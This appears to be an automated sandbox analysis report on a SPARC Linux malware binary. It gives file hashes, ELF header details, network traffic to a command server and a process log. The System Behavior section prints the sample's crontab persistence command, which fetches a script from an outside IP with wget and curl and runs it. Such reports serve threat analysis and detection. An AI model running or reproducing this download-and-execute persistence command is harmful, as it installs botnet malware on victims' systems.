                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWWFeWV+7MFXnvf:xkSZFXH
                        MD5:A68F25413EC64B86DA0949B4D28F68EF
                        SHA1:0FD04D27506E0B31C0492FE2A6AD0DF741752F3B
                        SHA-256:833C1B0E971AC59CD7F953F3A3BB7B8BB5427931034C4118AE1BEE14773DAC34
                        SHA-512:9DC9B7EA6E420751E8B96920703F171C330C13CAC174C066F19355637136027B1FAF99962145C44A377C5754621278E6F5D5138BC4FB6A76C55B76F6AC6F2E14
                        Malicious:false
                        Preview:5733 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        Process:/tmp/sparc.elf
                        File Type:ASCII text
                        Category:dropped
                        Size (bytes):115
                        Entropy (8bit):2.7254316491278687
                        Encrypted:false
                        SSDEEP:3:HWSF8XWV+7MFXnvf:1kSZFXH
                        MD5:4AC97842C93538AD1DBD20277448D9C9
                        SHA1:F5A9F7A56131978CB81602A08418E03F96B4BB44
                        SHA-256:1916408DEFB303B765C12E7272D9E4F41FF04BA4A495B3EB84B5746989615318
                        SHA-512:C3A36B2CAA4AD099EECA9CD26BD408B470C50001781895D061AA902ECE925066B942C92CDB467FC03918E66A7A6A7F8D9D459C5F715B9CCF3BB70AF2D33E44BB
                        Malicious:false
                        Preview:5737 (/tmp/sparc.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294962608 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.
                        File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
                        Entropy (8bit):6.149158320455605
                        TrID:
                        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                        File name:sparc.elf
                        File size:90'224 bytes
                        MD5:508cdc500bdb196e3bb7183412ee192c
                        SHA1:52d5e296211210fdbbf99ec363f418d42cfae7c2
                        SHA256:23ffd1813bea2bebcf6d2ae377f9ba4f1c5786aef59a44093a940ff69934145e
                        SHA512:543082c118ca747079b4d3339aa19b279a77bc092e697418b1daf5667a620d9ef4d148ccce4108dc7c3f8cdfa3220cd5270becbc37ed698709cff1e42aeaaa9b
                        SSDEEP:1536:qovw8tv+wmeKVZipAC/koD+UpdN/YRbtzzBHGGwxVB7utct19Ei:LvYwmaH0RbhlmG2SGEi
                        TLSH:F8934B2267375D17C0D2B0B951F78732B6F46B8A09A8850A7E705FCD6F589E032933B9
                        File Content Preview:.ELF...........................4..^@.....4. ...(......................Lx..Lx..............Lx..Lx..Lx...D..j.........dt.Q................................@..(....@.L.................#.....`...`.....!....."...@.....".........`......$"..."...@...........`....

                        ELF header

                        Class:ELF32
                        Data:2's complement, big endian
                        Version:1 (current)
                        Machine:Sparc
                        Version Number:0x1
                        Type:EXEC (Executable file)
                        OS/ABI:UNIX - System V
                        ABI Version:0
                        Entry Point Address:0x101a4
                        Flags:0x0
                        ELF Header Size:52
                        Program Header Offset:52
                        Program Header Size:32
                        Number of Program Headers:3
                        Section Header Offset:89664
                        Section Header Size:40
                        Number of Section Headers:14
                        Header String Table Index:13
                        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                        NULL0x00x00x00x00x0000
                        .initPROGBITS0x100940x940x1c0x00x6AX004
                        .textPROGBITS0x100b00xb00x1328c0x00x6AX004
                        .finiPROGBITS0x2333c0x1333c0x140x00x6AX004
                        .rodataPROGBITS0x233500x133500x19280x00x2A008
                        .eh_framePROGBITS0x34c780x14c780x40x00x3WA004
                        .ctorsPROGBITS0x34c7c0x14c7c0x80x00x3WA004
                        .dtorsPROGBITS0x34c840x14c840x80x00x3WA004
                        .jcrPROGBITS0x34c8c0x14c8c0x40x00x3WA004
                        .gotPROGBITS0x34c900x14c900x1880x40x3WA004
                        .dataPROGBITS0x34e180x14e180x2a40x00x3WA008
                        .bssNOBITS0x350c00x150bc0x66400x00x3WA008
                        .commentPROGBITS0x00x150bc0xd260x00x0001
                        .shstrtabSTRTAB0x00x15de20x5b0x00x0001
                        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                        LOAD0x00x100000x100000x14c780x14c786.11540x5R E0x10000.init .text .fini .rodata
                        LOAD0x14c780x34c780x34c780x4440x6a884.37180x6RW 0x10000.eh_frame .ctors .dtors .jcr .got .data .bss
                        GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                        Download Network PCAP: filteredfull

                        • Total Packets: 22
                        • 1290 undefined
                        • 80 (HTTP)
                        • 53 (DNS)
                        TimestampSource PortDest PortSource IPDest IP
                        Mar 23, 2025 23:09:02.738782883 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:03.737268925 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:03.743942022 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:04.767946959 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:05.759933949 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:06.783976078 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:09.791903019 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:10.816653967 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:17.984204054 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:19.007888079 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:34.111768961 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:09:35.135761976 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:07.391762018 CET4550280192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:07.391776085 CET499501290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:18.109150887 CET499541290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:19.135591030 CET499541290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:21.151539087 CET499541290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:25.311577082 CET499541290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:33.503648996 CET499541290192.168.2.13155.138.230.16
                        Mar 23, 2025 23:10:49.631398916 CET499541290192.168.2.13155.138.230.16
                        TimestampSource PortDest PortSource IPDest IP
                        Mar 23, 2025 23:09:02.622143030 CET3760153192.168.2.131.1.1.1
                        Mar 23, 2025 23:09:02.736784935 CET53376011.1.1.1192.168.2.13
                        Mar 23, 2025 23:10:17.991852999 CET6093453192.168.2.131.1.1.1
                        Mar 23, 2025 23:10:18.106980085 CET53609341.1.1.1192.168.2.13
                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                        Mar 23, 2025 23:09:02.622143030 CET192.168.2.131.1.1.10x8432Standard query (0)api.znet.homesA (IP address)IN (0x0001)false
                        Mar 23, 2025 23:10:17.991852999 CET192.168.2.131.1.1.10x7574Standard query (0)api.znet.homesA (IP address)IN (0x0001)false
                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                        Mar 23, 2025 23:09:02.736784935 CET1.1.1.1192.168.2.130x8432No error (0)api.znet.homes155.138.230.16A (IP address)IN (0x0001)false
                        Mar 23, 2025 23:10:18.106980085 CET1.1.1.1192.168.2.130x7574No error (0)api.znet.homes155.138.230.16A (IP address)IN (0x0001)false

                        System Behavior

                        Start time (UTC):22:08:56
                        Start date (UTC):23/03/2025
                        Path:/tmp/sparc.elf
                        Arguments:/tmp/sparc.elf
                        File size:4379400 bytes
                        MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                        Start time (UTC):22:08:56
                        Start date (UTC):23/03/2025
                        Path:/tmp/sparc.elf
                        Arguments:-
                        File size:4379400 bytes
                        MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                        Start time (UTC):22:08:56
                        Start date (UTC):23/03/2025
                        Path:/tmp/sparc.elf
                        Arguments:-
                        File size:4379400 bytes
                        MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/tmp/sparc.elf
                        Arguments:-
                        File size:4379400 bytes
                        MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/tmp/sparc.elf
                        Arguments:-
                        File size:4379400 bytes
                        MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/tmp/sparc.elf
                        Arguments:-
                        File size:4379400 bytes
                        MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:-
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:-
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/usr/bin/crontab
                        Arguments:crontab -l
                        File size:43720 bytes
                        MD5 hash:66e521d421ac9b407699061bf21806f5

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:-
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/usr/bin/chmod
                        Arguments:chmod +x bins.sh
                        File size:63864 bytes
                        MD5 hash:739483b900c045ae1374d6f53a86a279

                        Start time (UTC):22:09:02
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:-
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:02
                        Start date (UTC):23/03/2025
                        Path:/usr/bin/sh
                        Arguments:sh bins.sh
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:02
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:-
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:02
                        Start date (UTC):23/03/2025
                        Path:/bin/curl
                        Arguments:/bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh
                        File size:239848 bytes
                        MD5 hash:add6bc2195e82c55985ccf49fd4048e6

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/bin/sh
                        Arguments:-
                        File size:129816 bytes
                        MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                        Start time (UTC):22:09:01
                        Start date (UTC):23/03/2025
                        Path:/usr/bin/crontab
                        Arguments:crontab -
                        File size:43720 bytes
                        MD5 hash:66e521d421ac9b407699061bf21806f5

                        Start time (UTC):22:09:34
                        Start date (UTC):23/03/2025
                        Path:/usr/lib/systemd/systemd
                        Arguments:-
                        File size:1620224 bytes
                        MD5 hash:9b2bec7092a40488108543f9334aab75

                        Start time (UTC):22:09:34
                        Start date (UTC):23/03/2025
                        Path:/usr/lib/snapd/snap-failure
                        Arguments:/usr/lib/snapd/snap-failure snapd
                        File size:4764904 bytes
                        MD5 hash:69136a7d575731ce62349f2e4d3e5c36

                        Start time (UTC):22:09:34
                        Start date (UTC):23/03/2025
                        Path:/usr/lib/snapd/snap-failure
                        Arguments:-
                        File size:4764904 bytes
                        MD5 hash:69136a7d575731ce62349f2e4d3e5c36

                        Start time (UTC):22:09:34
                        Start date (UTC):23/03/2025
                        Path:/usr/bin/systemctl
                        Arguments:systemctl stop snapd.socket
                        File size:996584 bytes
                        MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                        Start time (UTC):22:09:34
                        Start date (UTC):23/03/2025
                        Path:/usr/lib/snapd/snap-failure
                        Arguments:-
                        File size:4764904 bytes
                        MD5 hash:69136a7d575731ce62349f2e4d3e5c36